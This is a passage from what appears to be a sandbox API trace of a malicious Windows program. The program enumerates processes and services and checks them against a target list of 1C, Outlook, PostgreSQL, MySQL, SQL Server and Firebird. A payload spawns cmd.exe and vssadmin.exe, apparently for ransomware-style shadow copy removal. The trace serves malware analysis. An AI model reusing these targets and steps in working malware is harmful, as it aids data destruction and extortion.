-1 [0058.194] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0058.194] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0058.194] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0058.195] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0058.195] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0058.195] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.195] lstrlenW (lpString="smss.exe") returned 8 [0058.195] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0058.195] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0058.195] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0058.195] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0058.195] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0058.195] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0058.195] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0058.195] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.196] lstrlenW (lpString="csrss.exe") returned 9 [0058.196] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0058.196] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0058.196] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0058.196] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0058.196] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0058.196] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0058.196] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0058.196] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.197] lstrlenW (lpString="wininit.exe") returned 11 [0058.197] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0058.197] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0058.197] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0058.197] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.198] lstrlenW (lpString="csrss.exe") returned 9 [0058.198] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.199] lstrlenW (lpString="winlogon.exe") returned 12 [0058.199] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.200] lstrlenW (lpString="services.exe") returned 12 [0058.200] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.200] lstrlenW (lpString="lsass.exe") returned 9 [0058.200] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0058.201] lstrlenW (lpString="lsm.exe") returned 7 [0058.201] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.202] lstrlenW (lpString="svchost.exe") returned 11 [0058.202] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.202] lstrlenW (lpString="svchost.exe") returned 11 [0058.202] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.203] lstrlenW (lpString="svchost.exe") returned 11 [0058.203] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.204] lstrlenW (lpString="svchost.exe") returned 11 [0058.204] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.204] lstrlenW (lpString="svchost.exe") returned 11 [0058.204] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.205] lstrlenW (lpString="audiodg.exe") returned 11 [0058.205] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.206] lstrlenW (lpString="svchost.exe") returned 11 [0058.206] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.207] lstrlenW (lpString="svchost.exe") returned 11 [0058.207] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.207] lstrlenW (lpString="dwm.exe") returned 7 [0058.207] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.208] lstrlenW (lpString="explorer.exe") returned 12 [0058.208] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.209] lstrlenW (lpString="spoolsv.exe") returned 11 [0058.209] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.209] lstrlenW (lpString="taskhost.exe") returned 12 [0058.209] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.210] lstrlenW (lpString="svchost.exe") returned 11 [0058.210] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0058.211] lstrlenW (lpString="taskeng.exe") returned 11 [0058.211] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.211] lstrlenW (lpString="taskhost.exe") returned 12 [0058.212] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0058.212] lstrlenW (lpString="presidential.exe") returned 16 [0058.212] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0058.213] lstrlenW (lpString="ol-filing.exe") returned 13 [0058.213] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0058.214] lstrlenW (lpString="overcome.exe") returned 12 [0058.410] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0058.411] lstrlenW (lpString="declinedreferral.exe") returned 20 [0058.411] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0058.412] lstrlenW (lpString="franciscotrack.exe") returned 18 [0058.412] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0058.412] lstrlenW (lpString="nicholas.exe") returned 12 [0058.413] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0058.413] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0058.413] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0058.414] lstrlenW (lpString="word.exe") returned 8 [0058.414] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0058.415] lstrlenW (lpString="semestermeta.exe") returned 16 [0058.415] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0058.415] lstrlenW (lpString="reflects.exe") returned 12 [0058.415] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0058.416] lstrlenW (lpString="beveragesradios.exe") returned 19 [0058.416] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0058.417] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0058.417] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0058.417] lstrlenW (lpString="ground.exe") returned 10 [0058.417] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0058.418] lstrlenW (lpString="least.exe") returned 9 [0058.418] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0058.419] lstrlenW (lpString="meetings.exe") returned 12 [0058.419] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0058.420] lstrlenW (lpString="wooltestimony.exe") returned 17 [0058.420] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0058.420] lstrlenW (lpString="inexpensive.exe") returned 15 [0058.420] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0058.421] lstrlenW (lpString="er-amd.exe") returned 10 [0058.421] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0058.422] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0058.422] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.422] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.422] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0058.423] lstrlenW (lpString="payload2.exe") returned 12 [0058.423] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.424] lstrlenW (lpString="cmd.exe") returned 7 [0058.424] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.424] lstrlenW (lpString="conhost.exe") returned 11 [0058.424] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.425] lstrlenW (lpString="vssadmin.exe") returned 12 [0058.425] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.426] lstrlenW (lpString="VSSVC.exe") returned 9 [0058.426] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.426] lstrlenW (lpString="svchost.exe") returned 11 [0058.426] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0058.427] CloseHandle (hObject=0x21c) returned 1 [0058.427] Sleep (dwMilliseconds=0x1f4) [0059.449] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f8c530 [0059.450] EnumServicesStatusExW (in: hSCManager=0x3f8c530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0059.450] GetLastError () returned 0xea [0059.450] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0059.450] EnumServicesStatusExW (in: hSCManager=0x3f8c530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0059.451] CloseServiceHandle (hSCObject=0x3f8c530) returned 1 [0059.451] lstrlenW (lpString="Appinfo") returned 7 [0059.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.451] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.451] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.451] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.451] lstrlenW (lpString="AudioSrv") returned 8 [0059.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.451] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.451] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.451] lstrlenW (lpString="BFE") returned 3 [0059.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.452] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.452] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.452] lstrlenW (lpString="CryptSvc") returned 8 [0059.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.452] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.452] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.452] lstrlenW (lpString="CscService") returned 10 [0059.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.452] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.452] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.452] lstrlenW (lpString="DcomLaunch") returned 10 [0059.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.452] lstrlenW (lpString="Dhcp") returned 4 [0059.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.452] lstrlenW (lpString="Dnscache") returned 8 [0059.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.453] lstrlenW (lpString="DPS") returned 3 [0059.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.453] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.453] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.453] lstrlenW (lpString="eventlog") returned 8 [0059.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.453] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.453] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 